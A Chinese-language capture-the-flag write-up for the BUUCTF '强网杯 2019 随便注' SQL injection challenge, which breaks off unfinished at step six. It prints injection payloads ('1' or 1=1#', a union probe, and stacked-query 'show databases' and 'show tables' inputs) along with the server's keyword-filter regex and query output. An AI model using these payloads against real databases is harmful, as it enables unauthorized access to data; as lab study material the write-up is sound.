BUUCTF [强网杯 2019]随便注

发布时间 2023-08-28 17:21:07作者: Amsterdamnit
  1. 判断传参方式,输入1' or 1 = 1,URL传参,所以是get
    报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
  2. 报错说明后端参数后面有可能存在其他sql语句,我们在原输入后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
  1. 既然存在sql注入,那么手动探测一下其他的表,首先判断一下字段个数:' union select 1,2;#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。
select一被禁用,联合查询,报错注入,布尔时间盲注就都不可以使用了。我们只剩下了堆叠注入
4. 查看数据库名:1';show databases;#
5. 查看数据表:1';show tables;#
6.